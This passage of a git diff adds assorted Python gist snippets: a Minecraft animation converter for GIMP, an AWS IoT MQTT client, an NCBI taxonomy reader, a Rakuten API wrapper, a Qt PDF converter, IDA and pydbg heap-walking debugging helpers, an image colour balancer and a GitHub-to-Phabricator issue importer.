+half_increment = 1.000000 / (tile_number * 2)
+increment = 1.000000 / tile_number
+frame = 0.000000
+
+
+if (tile_number <= 10):
+	max_zeros = 1
+elif (tile_number <= 100):
+	max_zeros = 2
+elif (tile_number <= 1000):
+	max_zeros = 3
+else:
+	max_zeros = 4
+
+def find_zeros():
+	global padding
+	if (max_zeros == 1):
+		padding = '0'
+	if (max_zeros == 2):
+		padding = '00'
+	if (max_zeros == 3):
+		padding = '000'
+	if (max_zeros == 4):
+		padding = '0000'
+
+find_zeros()
+original_max_zeros = str(pow(10,max_zeros))
+
+def find_compass_zeros():
+	global compass_padding
+	if (animation_frame <= 9):
+		compass_padding = original_max_zeros[1:]
+	elif (animation_frame <= 99):
+		compass_padding = original_max_zeros[2:]
+	elif (animation_frame <= 999):
+		compass_padding = original_max_zeros[3:]
+	else:
+		compass_padding = original_max_zeros[4:]
+
+
+pdb.gimp_image_resize(image, w, w, 0, 0)
+
+frame = frame + half_increment
+if (animation == 'compass'):
+	animation_frame = tile_number / 2
+	find_compass_zeros()
+
+def save_image():
+	new_image = pdb.gimp_image_duplicate(image)
+	new_layer = new_image.layers[0]
+	pdb.gimp_image_crop(new_image, w, w, 0, 0)
+	filepath = file_path_base_textures + filefolder + '_' + padding + str(current_tile) + '.png'
+	pdb.file_png_save2(new_image, new_layer, filepath, filepath, 0, 9, 0, 0, 0,0,0,0,0)
+	gimp.delete(new_image)
+	refresh()
+	if (current_tile != tile_number-1):
+		pdb.gimp_layer_translate(layer, 0, -w)
+	else:
+		pdb.gimp_image_resize_to_layers(image)
+
+def save_model():
+	global frame
+	modelname = file_path_base_models + filefolder + '_' + padding + str(current_tile) + '.json' 
+	file = open(modelname,'a')
+	contents = '{"parent": "item/generated","textures": {"layer0": "items/' + filefolder + '_' + padding + str(current_tile) + '"}}'
+	file.write(contents)
+	file.close()
+
+def save_main():
+	global animation_frame	
+	global current_tile
+	global padding
+	padding_images = padding
+	if (animation == 'compass'):
+		if (animation_frame == 10 or animation_frame == 100 or animation_frame == 1000) :
+			find_compass_zeros()
+		padding = compass_padding
+	with open(main_file, "a") as myfile:
+		myfile.write('{"predicate":{"' + frame_type + '":' + str(frame) + '},"model":"item/' + filefolder + '_' + padding + str(animation_frame) +'"},\n\t')
+	padding = padding_images
+	current_tile += 1
+	animation_frame += 1
+	if (animation == 'compass' and animation_frame == tile_number):
+		animation_frame = 0
+		find_compass_zeros()	
+
+
+main_file = file_path_base_models + animation + '.json'
+padding_images = padding
+if (animation == 'compass'):
+	padding = compass_padding
+
+file = open(main_file, "a")
+contents = '{"parent": "item/generated","textures": {"layer0": "items/' + filefolder + '_' + padding + str(animation_frame) + '"' '},"overrides": [ \n\t{"predicate":{' + '"'
+save_image()
+save_model()
+current_tile += 1
+animation_frame += 1
+contents = contents + frame_type + '":0.0000000},"model":"item/' + animation + '"},\n\t{"predicate":{"' + frame_type + '":' + str(frame) + '},"model":"item/' + filefolder + '_' + padding + str(animation_frame) + '"},\n\t'
+file.write(contents)
+file.close()
+padding = padding_images
+save_image()
+save_model()
+current_tile += 1
+animation_frame += 1
+
+
+
+while (current_tile < tile_number):
+	if (current_tile == 10 or current_tile == 100 or current_tile == 1000) :
+		max_zeros -= 1
+		find_zeros()
+	save_image()
+	save_model()
+	frame = frame + increment
+	save_main()
+	if (animation == 'compass' and animation_frame == tile_number / 2):
+		break
+
+frame = frame + increment
+with open(main_file, "a") as myfile:
+	myfile.write('{"predicate":{"' + frame_type + '":' + str(frame)  + '},"model":"item/' + animation + '"}]}')
+
+mcmeta = file_path_base + 'pack.mcmeta'
+if not (os.path.exists(mcmeta)):
+	file = open(mcmeta,'a')
+	contents = '{"pack":{"pack_format":2,"description":"Converted clock and/or compass animations for 1.9"}}'
+	file.write(contents)
+	file.close()
+	print('An mcmeta file was created')
+
+if (deleted == True):
+	print('Files were deleted')
+
+print('Your animation has ' + str(tile_number) + ' tiles')
+print(str(current_tile) + ' tiles should have been created')
+print('Look for your files in ' + file_path_base)
+print('Your original image was NOT modified... but if you run the script where the files it needs to create exist already, the ALL previously outputted files WILL be deleted!')
+print('So be warned(!): Keep your 1.8 animations backed up. Once you run this script ONCE for a clock and ONCE for a compass, get the files where they need to go, otherwise you may lose them')
+print('done')
+
+pass
diff --git a/hard-gists/9cdead881799a47742ff3cd296d06cc1/._snippet.py b/hard-gists/9cdead881799a47742ff3cd296d06cc1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9cdead881799a47742ff3cd296d06cc1/._snippet.py differ
diff --git a/hard-gists/9cdead881799a47742ff3cd296d06cc1/snippet.py b/hard-gists/9cdead881799a47742ff3cd296d06cc1/snippet.py
new file mode 100644
index 00000000..cce10551
--- /dev/null
+++ b/hard-gists/9cdead881799a47742ff3cd296d06cc1/snippet.py
@@ -0,0 +1,76 @@
+import paho.mqtt.client as paho
+import os
+import socket
+import ssl
+from time import sleep
+from random import uniform
+import json
+
+import logging
+logging.basicConfig(level=logging.INFO)
+
+# Refactored original source - https://github.com/mariocannistra/python-paho-mqtt-for-aws-iot
+
+class PubSub(object):
+
+    def __init__(self, listener = False, topic = "default"):
+        self.connect = False
+        self.listener = listener
+        self.topic = topic
+        self.logger = logging.getLogger(repr(self))
+
+    def __on_connect(self, client, userdata, flags, rc):
+        self.connect = True
+        
+        if self.listener:
+            self.mqttc.subscribe(self.topic)
+
+        self.logger.debug("{0}".format(rc))
+
+    def __on_message(self, client, userdata, msg):
+        self.logger.info("{0}, {1} - {2}".format(userdata, msg.topic, msg.payload))
+
+    def __on_log(self, client, userdata, level, buf):
+        self.logger.debug("{0}, {1}, {2}, {3}".format(client, userdata, level, buf))
+
+    def bootstrap_mqtt(self):
+
+        self.mqttc = paho.Client()
+        self.mqttc.on_connect = self.__on_connect
+        self.mqttc.on_message = self.__on_message
+        self.mqttc.on_log = self.__on_log
+
+        awshost = "yourthingendpointname.iot.us-east-1.amazonaws.com"
+        awsport = 8883
+
+        caPath = "./authority.pem" # Root certificate authority, comes from AWS with a long, long name
+        certPath = "./2bafa20887-certificate.pem.crt"
+        keyPath = "./2bafa20887-private.pem.key"
+
+        self.mqttc.tls_set(caPath, 
+            certfile=certPath, 
+            keyfile=keyPath, 
+            cert_reqs=ssl.CERT_REQUIRED, 
+            tls_version=ssl.PROTOCOL_TLSv1_2, 
+            ciphers=None)
+
+        result_of_connection = self.mqttc.connect(awshost, awsport, keepalive=120)
+
+        if result_of_connection == 0:
+            self.connect = True
+
+        return self
+
+    def start(self):
+        self.mqttc.loop_start()
+
+        while True:
+            sleep(2)
+            if self.connect == True:
+                self.mqttc.publish(self.topic, json.dumps({"message": "Hello COMP680"}), qos=1)
+            else:
+                self.logger.debug("Attempting to connect.")
+
+if __name__ == '__main__':
+    
+    PubSub(listener = True, topic = "chat-evets").bootstrap_mqtt().start()
\ No newline at end of file
diff --git a/hard-gists/9cfd4d8400961a3b67a1351a1851c869/._snippet.py b/hard-gists/9cfd4d8400961a3b67a1351a1851c869/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9cfd4d8400961a3b67a1351a1851c869/._snippet.py differ
diff --git a/hard-gists/9cfd4d8400961a3b67a1351a1851c869/snippet.py b/hard-gists/9cfd4d8400961a3b67a1351a1851c869/snippet.py
new file mode 100644
index 00000000..cc4f8b68
--- /dev/null
+++ b/hard-gists/9cfd4d8400961a3b67a1351a1851c869/snippet.py
@@ -0,0 +1,132 @@
+import os
+from functools import lru_cache
+from collections import defaultdict
+
+# Read in the taxonomy
+class NCBITaxonomy():
+    def __init__(self, folder):
+        self.tax = defaultdict(dict)
+        # Read in the file of taxid information
+        names_fp = os.path.join(folder, 'names.dmp')
+        assert os.path.exists(names_fp)
+        with open(names_fp) as f:
+            for line in f:
+                line = line.strip('\n').split('\t')
+                taxid = line[0]
+                val = line[2]
+                key = line[6]
+                assert key != '', line
+                self.tax[taxid][key] = val
+        # Read in the file linking taxids to rank and parents
+        nodes_fp = os.path.join(folder, 'nodes.dmp')
+        assert os.path.exists(nodes_fp)
+        with open(nodes_fp) as f:
+            for line in f:
+                line = line.strip('\n').split('\t')
+                child = line[0]
+                parent = line[2]
+                child_rank = line[4]
+                assert parent in self.tax, line
+                self.tax[child]['rank'] = child_rank
+                if parent != child:
+                    self.tax[child]['parent'] = parent
+
+        # Read in the "merged" taxids
+        merged_fp = os.path.join(folder, 'merged.dmp')
+        assert os.path.exists(merged_fp)
+        with open(merged_fp) as f:
+            for line in f:
+                line = line.strip('\n').split('\t')
+                old_taxid = line[0]
+                new_taxid = line[2]
+                assert new_taxid in self.tax
+                # Link the old taxid to the new taxid
+                self.tax[old_taxid] = self.tax[new_taxid]
+
+    def info(self, taxid):
+        assert taxid in self.tax
+        return self.tax[taxid]
+
+    def name(self, taxid):
+        assert taxid in self.tax
+        return self.tax[taxid]['scientific name']
+
+    def rank(self, taxid):
+        assert taxid in self.tax
+        return self.tax[taxid]['rank']
+
+    def path_to_root(self, taxid):
+        visited = [taxid]
+        while 'parent' in self.tax[taxid]:
+            taxid = self.tax[taxid]['parent']
+            if 'ancestors' in self.tax[taxid]:
+                visited.extend(self.tax[taxid]['ancestors'])
+                return visited
+            assert taxid not in visited, visited
+            visited.append(taxid)
+        return visited
+
+    def is_below(self, taxid, group_taxid):
+        # Determine whether a taxid is part of a particular group
+        assert taxid in self.tax, "Tax ID not found: {}".format(taxid)
+        if 'ancestors' not in self.tax[taxid]:
+            self.tax[taxid]['ancestors'] = self.path_to_root(taxid)
+
+        return group_taxid in self.tax[taxid]['ancestors']
+    
+    @lru_cache(maxsize=None)
+    def lca(self, taxid1, taxid2):
+        # Return the lowest common ancestor of both taxid1 and taxid2
+        # Get the list of ancestors for both taxids (starting at the root)
+        anc1 = self.path_to_root(taxid1)[::-1]
+        anc2 = self.path_to_root(taxid2)[::-1]
+        # Both lists end at the root
+        if anc1[0] != anc2[0]:
+            logging.info("{} and {} not rooted on the same taxonomy, returning None".format(taxid1, taxid2))
+            return None
+        # Set the initial LCA as the root
+        lca = anc1[0]
+
+        # Walk down the list of ancestors until they no longer agree
+        for a1, a2 in zip(anc1, anc2):
+            # If the ancestors are in common, update the LCA
+            if a1 == a2:
+                lca = a1
+            else:
+                break
+
+        return lca
+
+    @lru_cache(maxsize=None)
+    def anc_at_rank(self, taxid, rank):
+        """Return the ancestor of this taxid at a specific rank."""
+        # The result is potentially None (if `taxid` is above `rank`)
+        if self.rank(taxid) == rank:
+            return taxid
+        for t in self.path_to_root(taxid):
+            if self.rank(t) == rank:
+                return t
+        return None
+
+    def domain(self, taxid):
+        """Determine the broad organismal domain that a taxid belongs to."""
+        ancestors = self.path_to_root(taxid)
+        if "2" in ancestors:
+            d = "Bacteria"
+        elif "10239" in ancestors:
+            d = "Viruses"
+        elif "2157" in ancestors:
+            d = "Archaea"
+        elif "4751" in ancestors:
+            d = "Fungi"
+        elif "33208" in ancestors:
+            d = "Metazoa"
+        elif "33090" in ancestors:
+            d = "Green plants"
+        elif "2759" in ancestors:
+            d = "Other Eukaryotes"
+        else:
+            d = "Non-microbial"
+        return d
+
+# tax = NCBITaxonomy('ncbi_taxonomy')
\ No newline at end of file
diff --git a/hard-gists/9d0bf77bf070262ab3cddfc4b79d031b/._snippet.py b/hard-gists/9d0bf77bf070262ab3cddfc4b79d031b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9d0bf77bf070262ab3cddfc4b79d031b/._snippet.py differ
diff --git a/hard-gists/9d0bf77bf070262ab3cddfc4b79d031b/snippet.py b/hard-gists/9d0bf77bf070262ab3cddfc4b79d031b/snippet.py
new file mode 100644
index 00000000..4177bc6a
--- /dev/null
+++ b/hard-gists/9d0bf77bf070262ab3cddfc4b79d031b/snippet.py
@@ -0,0 +1,82 @@
+# coding: utf-8
+
+import urllib.parse
+import urllib.request
+
+class Rakuten(object):
+
+    response = None
+
+    def __init__(self, applicationId=None, format="json"):
+        self.params = {
+            "applicationId": applicationId,
+            "format": format
+        }
+
+    def request(self, url, **kwargs):
+        self.params.update(kwargs)
+
+        query_string = urllib.parse.urlencode(self.params)
+
+        if query_string:
+            url = "{}?{}".format(url, query_string)
+        
+        request = urllib.request.Request(url)
+        with urllib.request.urlopen(request) as f:
+            self.response = f.read()
+            self.url = f.geturl()
+        return self
+
+    @property
+    def raw(self):
+        return self.response
+
+    @property
+    def parse(self):
+        return getattr(self, self.params["format"])(self.response.decode())
+    
+    def json(self, response):
+        import json
+        return json.loads(response)
+
+    def xml(self, response):
+        import xml.etree.ElementTree as ET
+        return ET.fromstring(response)
+
+class IchibaItem(Rakuten):
+    
+    def search(self, **kwargs):
+        url = "https://app.rakuten.co.jp/services/api/IchibaItem/Search/20140222"
+        return self.request(url, **kwargs)
+
+    def ranking(self, **kwargs):
+        url = "https://app.rakuten.co.jp/services/api/IchibaItem/Ranking/20120927"
+        return self.request(url, **kwargs)
+
+class IchibaGenre(Rakuten):
+
+    def search(self, **kwargs):
+        url = "https://app.rakuten.co.jp/services/api/IchibaGenre/Search/20140222"
+        return self.request(url, **kwargs)
+
+class IchibaTag(Rakuten):
+
+    def search(self, **kwargs):
+        url = "https://app.rakuten.co.jp/services/api/IchibaTag/Search/20140222"
+        return self.request(url, **kwargs)
+
+class Product(Rakuten):
+
+    def search(self, **kwargs):
+        url = "https://app.rakuten.co.jp/services/api/Product/Search/20140305"
+        return self.request(url, **kwargs)
+
+if __name__ == "__main__":
+
+    item = IchibaItem(**{
+        "applicationId": "applicationId",
+        "format": "json"})
+
+    response = item.search(**{"keyword": "楽天"})
+    json = response.parse
+    print(json)
diff --git a/hard-gists/9d39e1868e220e02cb58/._snippet.py b/hard-gists/9d39e1868e220e02cb58/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9d39e1868e220e02cb58/._snippet.py differ
diff --git a/hard-gists/9d39e1868e220e02cb58/snippet.py b/hard-gists/9d39e1868e220e02cb58/snippet.py
new file mode 100644
index 00000000..1537273c
--- /dev/null
+++ b/hard-gists/9d39e1868e220e02cb58/snippet.py
@@ -0,0 +1,58 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+
+"""PDF Conversor powered by Qt5."""
+
+
+from uuid import uuid4
+
+from PyQt5.QtCore import QUrl
+from PyQt5.QtNetwork import QNetworkProxyFactory
+from PyQt5.QtPrintSupport import QPrinter
+from PyQt5.QtWebKitWidgets import QWebView
+
+
+class QPDF(QPrinter):
+
+    """QPDF Printer."""
+
+    def __init__(self, *args):
+        """Initialize QPDF."""
+        super(QPDF, self).__init__(*args)
+        self.web, self.pdf_name = QWebView(), uuid4().hex + ".pdf"
+        self.to_pdf, self.url_or_path = self.convert_to_pdf, None
+        self.setPageSize(QPrinter.A4)
+        self.setFontEmbeddingEnabled(True)
+        self.setOutputFormat(QPrinter.PdfFormat)
+        self.web.settings().setDefaultTextEncoding("utf-8")
+        QNetworkProxyFactory.setUseSystemConfiguration(True)
+        self.setPageMargins(10, 10, 10, 10, QPrinter.Millimeter)
+        self.web.loadFinished.connect(lambda: self.web.print_(self))
+
+    def _set_input_output(self, url_or_path, fyle, landscape):
+        """Set the Input and Output for the processing if they are provided."""
+        self.pdf_name, self.url_or_path = fyle, url_or_path
+        self.setDocName(self.pdf_name.title())
+        self.setOutputFileName(self.pdf_name)
+        if hasattr(self, "setPageOrientation"):  # Qt > 5.3 only
+            self.setPageOrientation(int(bool(landscape)))
+        self.web.load(QUrl(self.url_or_path))
+        return self.pdf_name
+
+    def convert_to_pdf(self, _url, fyle=uuid4().hex + ".pdf", landscape=False):
+        """Convert to PDF file from the arguments passed, at least an URL."""
+        if _url and isinstance(_url, str) and len(_url):
+            return self._set_input_output(_url, fyle, landscape)
+
+
+##############################################################################
+
+
+if __name__ in '__main__':
+    from PyQt5.QtWidgets import QApplication
+    app = QApplication([])
+    conversor = QPDF()
+    conversor.convert_to_pdf("https://google.com")
+    # conversor.convert_to_pdf("https://google.com", "custom_filename.pdf")
+    exit(app.exec_())
diff --git a/hard-gists/9d4ea9b04b223de02c7a/._snippet.py b/hard-gists/9d4ea9b04b223de02c7a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9d4ea9b04b223de02c7a/._snippet.py differ
diff --git a/hard-gists/9d4ea9b04b223de02c7a/snippet.py b/hard-gists/9d4ea9b04b223de02c7a/snippet.py
new file mode 100644
index 00000000..d959eea6
--- /dev/null
+++ b/hard-gists/9d4ea9b04b223de02c7a/snippet.py
@@ -0,0 +1,53 @@
+import re
+import idaapi
+import sark
+import abc
+
+
+class IDATracker(idaapi.UI_Hooks):
+    __metaclass__ = abc.ABCMeta
+
+    def __init__(self):
+        super(IDATracker, self).__init__()
+
+    def updating_actions(self, ctx=idaapi.action_update_ctx_t()):
+        if ctx.form_type == idaapi.BWN_DISASM:
+            self.on_ea(ctx.cur_ea, ctx)
+
+    @abc.abstractmethod
+    def on_ea(self, ea, ctx):
+        return NotImplemented
+
+
+def get_base_name(function):
+    true_name = function.demangled
+    match = re.search(r'([\w]+)\(', true_name)
+    if not match:
+        return
+    return match.group(1)
+
+def hint_function(ea):
+    try:
+        function = sark.Function(ea)
+    except sark.exceptions.SarkNoFunction:
+        return
+    base_name = get_base_name(function)
+    function.lines.next().comments.posterior = 'Base name: {}'.format(base_name)
+
+
+class FunctionHinter(IDATracker):
+    def __init__(self):
+        super(FunctionHinter, self).__init__()
+
+        self.current_ea = None
+
+    def on_ea(self, ea, ctx):
+        if sark.is_same_function(self.current_ea, ea):
+            return
+
+        hint_function(ea)
+        self.current_ea = ea
+
+
+hinter = FunctionHinter()
+hinter.hook()
diff --git a/hard-gists/9dad6c4ab0d8d7dbf3dc/._snippet.py b/hard-gists/9dad6c4ab0d8d7dbf3dc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9dad6c4ab0d8d7dbf3dc/._snippet.py differ
diff --git a/hard-gists/9dad6c4ab0d8d7dbf3dc/snippet.py b/hard-gists/9dad6c4ab0d8d7dbf3dc/snippet.py
new file mode 100644
index 00000000..8ff96bee
--- /dev/null
+++ b/hard-gists/9dad6c4ab0d8d7dbf3dc/snippet.py
@@ -0,0 +1,60 @@
+import cv2
+import math
+import numpy as np
+import sys
+
+def apply_mask(matrix, mask, fill_value):
+    masked = np.ma.array(matrix, mask=mask, fill_value=fill_value)
+    return masked.filled()
+
+def apply_threshold(matrix, low_value, high_value):
+    low_mask = matrix < low_value
+    matrix = apply_mask(matrix, low_mask, low_value)
+
+    high_mask = matrix > high_value
+    matrix = apply_mask(matrix, high_mask, high_value)
+
+    return matrix
+
+def simplest_cb(img, percent):
+    assert img.shape[2] == 3
+    assert percent > 0 and percent < 100
+
+    half_percent = percent / 200.0
+
+    channels = cv2.split(img)
+
+    out_channels = []
+    for channel in channels:
+        assert len(channel.shape) == 2
+        # find the low and high precentile values (based on the input percentile)
+        height, width = channel.shape
+        vec_size = width * height
+        flat = channel.reshape(vec_size)
+
+        assert len(flat.shape) == 1
+
+        flat = np.sort(flat)
+
+        n_cols = flat.shape[0]
+
+        low_val  = flat[math.floor(n_cols * half_percent)]
+        high_val = flat[math.ceil( n_cols * (1.0 - half_percent))]
+
+        print "Lowval: ", low_val
+        print "Highval: ", high_val
+
+        # saturate below the low percentile and above the high percentile
+        thresholded = apply_threshold(channel, low_val, high_val)
+        # scale the channel
+        normalized = cv2.normalize(thresholded, thresholded.copy(), 0, 255, cv2.NORM_MINMAX)
+        out_channels.append(normalized)
+
+    return cv2.merge(out_channels)
+
+if __name__ == '__main__':
+    img = cv2.imread(sys.argv[1])
+    out = simplest_cb(img, 1)
+    cv2.imshow("before", img)
+    cv2.imshow("after", out)
+    cv2.waitKey(0)
\ No newline at end of file
diff --git a/hard-gists/9dcd642059214d81b3ef/._snippet.py b/hard-gists/9dcd642059214d81b3ef/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9dcd642059214d81b3ef/._snippet.py differ
diff --git a/hard-gists/9dcd642059214d81b3ef/snippet.py b/hard-gists/9dcd642059214d81b3ef/snippet.py
new file mode 100644
index 00000000..d444d6b5
--- /dev/null
+++ b/hard-gists/9dcd642059214d81b3ef/snippet.py
@@ -0,0 +1,76 @@
+#!/usr/bin/python
+
+import collections
+import json
+import os
+import signal
+import sys
+import subprocess
+# require pygithub installed
+from github import Github
+
+github_token = os.environ.get('GITHUB_TOKEN') or sys.exit('GITHUB_TOKEN is not defined')
+github_user = 'MY_USER'
+github_repository = 'MY_REPOSITORY'
+
+# Use project.query method to find out projects PHIDs
+# e.g. https://secure.phabricator.com/conduit/method/project.query/
+default_project = 'PHID-PROJ-xxxxxxxxxxxxxxxxxxxx'
+project = {
+    'My project': 'PHID-PROJ-xxxxxxxxxxxxxxxxxxxx',
+}
+
+
+def cmd_runner(task, method="createtask"):
+    try:
+        arguments = ['arc', 'call-conduit', 'maniphest.%s' % method]
+        proc = subprocess.Popen(arguments,
+                                stdin=subprocess.PIPE,
+                                stdout=subprocess.PIPE,
+                                universal_newlines=False,
+                                preexec_fn=lambda:
+                                signal.signal(signal.SIGPIPE, signal.SIG_DFL))
+    except (OSError, ValueError) as e:
+        raise ValueError("%s" % e)
+
+    data = proc.communicate(input=task)[0]
+    if proc.returncode != 0:
+        raise ValueError("command has failed with code '%s'" % proc.returncode)
+
+    return data
+
+
+def main():
+    github = Github(github_token)
+    user = github.get_user(github_user)
+    repo = user.get_repo(github_repository)
+    issues = repo.get_issues().reversed
+    for issue in issues:
+        projects = []
+        labels = issue.labels
+        for label in labels:
+            projects.append(project.get(label.name, default_project))
+
+        task = json.dumps({'title': issue.title,
+                           'description': 'Imported from: %s\n---\n%s' % (issue.html_url,
+                                                                          issue.body),
+                           'projectPHIDs': projects},
+                          indent=2, separators=(',', ': '))
+        print '%s\n' % task
+        response = cmd_runner(task)
+        data = json.loads(response, object_pairs_hook=collections.OrderedDict)
+        task_id = data['response']['id']
+
+        comments = issue.get_comments()
+        for comment in comments:
+            task = json.dumps({'id': task_id,
+                               'comments': '%s commented on %s:\n---\n%s' % (comment.user.name,
+                                                                             comment.created_at.strftime("%B %-d"),
+                                                                             comment.body)},
+                              indent=2, separators=(',', ': '))
+            print '%s\n' % task
+            cmd_runner(task, 'update')
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/9e1f7cf4945a608ae48a/._snippet.py b/hard-gists/9e1f7cf4945a608ae48a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9e1f7cf4945a608ae48a/._snippet.py differ
diff --git a/hard-gists/9e1f7cf4945a608ae48a/snippet.py b/hard-gists/9e1f7cf4945a608ae48a/snippet.py
new file mode 100644
index 00000000..5e80cf27
--- /dev/null
+++ b/hard-gists/9e1f7cf4945a608ae48a/snippet.py
@@ -0,0 +1,162 @@
+'''
+
+HeapWalker - Walking Windows 7 process heaps using pydbg
+Author : Debasish Mandal
+Blog :http://www.debasish.in/
+Twitter : https://twitter.com/debasishm89
+
+Description : This python script is simplest implementation of Windows HeapWalk() API. 
+It uses pydbg and allows user to Walk Through debugee process's heaps on the fly.
+
+In this example
+
+The output of this script will be similar to windbg command "!heap -a 0xMyHeapHandle" command.
+           
+0:002> !heap -a 00220000
+	...
+	...
+    Heap entries for Segment00 in Heap 00220000
+         address: psize . size  flags   state (requested size)
+        00220000: 00000 . 00588 [101] - busy (587)
+        00220588: 00588 . 00240 [101] - busy (23f)
+        002207c8: 00240 . 00020 [101] - busy (18)
+        002207e8: 00020 . 00ce0 [101] - busy (cd6)
+		..
+		And so on.
+
+'''
+from pydbg import *
+from pydbg.defines import *
+from struct import unpack
+from struct import pack
+
+
+def getHeapBlockDetails(dbg,heap_handle, chunk_addr):
+	'''
+	Return heap block details: state and size
+	'''
+	xor_res =  unpack('<L',dbg.read_process_memory( heap_handle+0x50, 4 ))[0] ^ unpack('<L',dbg.read_process_memory( chunk_addr, 4 ))[0]
+	h = pack('>L',xor_res).encode('hex')
+	size = int(h[4:],16)*8
+	state_code = int(h[2:4],16)
+	if state_code == 1:
+		state = "Busy"
+	elif state_code == 0:
+		state = "Free"
+	elif state_code == 9:
+		state = "Busy - Internal"
+	else:
+		state = "Unknown"
+	return size,state
+def ReadListEntry(dbg,addr):
+	'''
+	Read and return two dword from any pointer(Mostly Blink of _LIST_ENTRY Linked List). 
+	'''
+	flink = dbg.read_process_memory( addr, 4 )	# +0x010 SegmentListEntry : _LIST_ENTRY 
+	blink = dbg.read_process_memory( addr+4, 4 )
+	return flink,blink
+def getSegmentsIfAny(dbg,heap_hnd):
+	'''
+	A bit "hacky" way to find out if the heap has more than one segment in it.
+	If it has more than one segment, this function is going to return a list with all segment base address.
+	Other wise it will return a list with only item (the same heap handle)
+	
+	Example : If heap handle is 04c10000,
+	
+	0:027> dt _LIST_ENTRY 04c10000+0x010
+	ntdll!_LIST_ENTRY
+	 [ 0x4010010 - 0x4c100a8 ]
+	   +0x000 Flink            : 0x04010010 _LIST_ENTRY [ 0x5420010 - 0x4c10010 ]
+	   +0x004 Blink            : 0x04c100a8 _LIST_ENTRY [ 0x4c10010 - 0xa100010 ]
+
+	0:027> dt _LIST_ENTRY 0x04c100a8
+	ntdll!_LIST_ENTRY
+	 [ 0x4c10010 - 0xa100010 ]
+	   +0x000 Flink            : 0x04c10010 _LIST_ENTRY [ 0x4010010 - 0x4c100a8 ]
+	   +0x004 Blink            : 0x0a100010 _LIST_ENTRY [ 0x4c100a8 - 0x5420010 ]
+
+	And so on...
+	'''
+	seg_list = []
+	first_flink,first_blink = ReadListEntry(dbg,heap_hnd+0x010)#   0xheaphandle+0x010 SegmentListEntry : _LIST_ENTRY 
+	if first_flink == first_blink:
+		seg_list.append(heap_hnd)
+	else:
+		# try to find out all available heap segments by iterating through the linked list.
+		next_blink = first_blink
+		while 1:
+			flink , blink = ReadListEntry(dbg,unpack('<L',next_blink)[0])
+			# Get the exact segment base
+			if flink.encode('hex')[:2] == "10":
+				seg_list.append (unpack('<L',flink)[0] - 16)
+			'''
+			Otherwise this can also be done.
+			if unpack('<L',flink)[0] % 16 == 0:	# A nasty hack.
+				seg_list.append (unpack('<L',flink)[0] - 16)
+			'''
+			#print hex(unpack('<L',flink)[0]),hex(unpack('<L',blink)[0])
+			if blink == first_blink:
+				# Break the loop - End of Linked List (_LIST_ENTRY ) Reached
+				break
+			next_blink = blink
+	return set(seg_list)	# Remove any duplicate value if any
+def HeapWalk(dbg):
+	print '[+] Address of PEB : ', hex(dbg.peb)
+	total_heaps = unpack('<L',dbg.read_process_memory( dbg.peb+0x088, 4 ))[0]	# Total number of process heaps
+	print '[+] Total Number of Process Heaps : ', total_heaps
+	h_poi = unpack('<L',dbg.read_process_memory( dbg.peb+0x090, 4 ))[0]			# Pointer where all the heap handles are present in memory
+	heaps = []
+	offset = 0
+	# Now we read all the heap handles from memory
+	for i in range(1,total_heaps+1):
+		heaps.append(  int (hex(unpack('<L',dbg.read_process_memory( h_poi+offset, 4 ))[0]),16)   )
+		offset += 4
+	# Start iterating through all the heaps
+	for heap in heaps:
+		print '[+] Walking ',hex(heap)
+		# Small check to determine if the heap is LFH
+		heap_type = unpack('<L',dbg.read_process_memory( heap+0x0d4, 4 ))[0]
+		if heap_type != 0:
+			print '[+] Heap type : Low Fragmentation Heap'
+		else:
+			print '[+] Heap type : Other'
+		seg_list = getSegmentsIfAny(dbg,heap)
+		if len(seg_list) > 1:
+			print '[+] Heap has total',len(seg_list),'segments'
+		else:
+			print '[+] Heap has only 1 segment'
+		for seg in seg_list:
+			# Try to iterate through all heaps or heap segments.
+			print '[+] Parsing Segment ',hex(seg),'of Heap :',hex(heap)
+			next_addr = seg
+			# Try to iterate through all the available heap blocks.
+			while 1:
+				try:
+					size,state = getHeapBlockDetails(dbg,heap,next_addr)
+					print '\t Heap',hex(heap),'Segment :',hex(seg),'Block :',hex(next_addr),'Size : ', hex(size), 'User Pointer : ',hex(next_addr + 8) ,'(',state,')'
+					block_data = dbg.read_process_memory( next_addr+8, size )
+					'''
+					# Do this when you need to search for string / Unicode string "DEBASISH" in all heap blocks
+					if "D\x00E\x00B\x00A\x00S\x00I\x00S\x00H" in block_data:
+						print '\t Heap Block : ',hex(next_addr), 'Size : ', hex(size), 'User Pointer : ',hex(next_addr + 8) ,'(',state,')'
+					'''
+					next_addr = next_addr + size
+				except Exception,e:
+					print '\t [+] Uncommited Bytes Reached'
+					break
+	return DBG_CONTINUE
+
+def main():
+	dbg = pydbg()
+	pid = raw_input ('Enter PID : ')
+	dbg.attach(int(pid))
+	print '[+] Attached'
+	#HeapWalk(dbg)
+	try:
+		mb = dbg.func_resolve_debuggee('user32.dll','MessageBoxA')
+		dbg.bp_set(mb,handler=HeapWalk)
+	except Exception,e:
+		print '[+] Failed'
+	dbg.run()
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/9e30b2f908e801da1bd789f4ce3e7aac/._snippet.py b/hard-gists/9e30b2f908e801da1bd789f4ce3e7aac/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9e30b2f908e801da1bd789f4ce3e7aac/._snippet.py differ
diff --git a/hard-gists/9e30b2f908e801da1bd789f4ce3e7aac/snippet.py b/hard-gists/9e30b2f908e801da1bd789f4ce3e7aac/snippet.py
new file mode 100644
index 00000000..c128597a
--- /dev/null
+++ b/hard-gists/9e30b2f908e801da1bd789f4ce3e7aac/snippet.py
@@ -0,0 +1,143 @@
+# Drawn from https://gist.github.com/rocknrollnerd/c5af642cf217971d93f499e8f70fcb72 (in Theano)
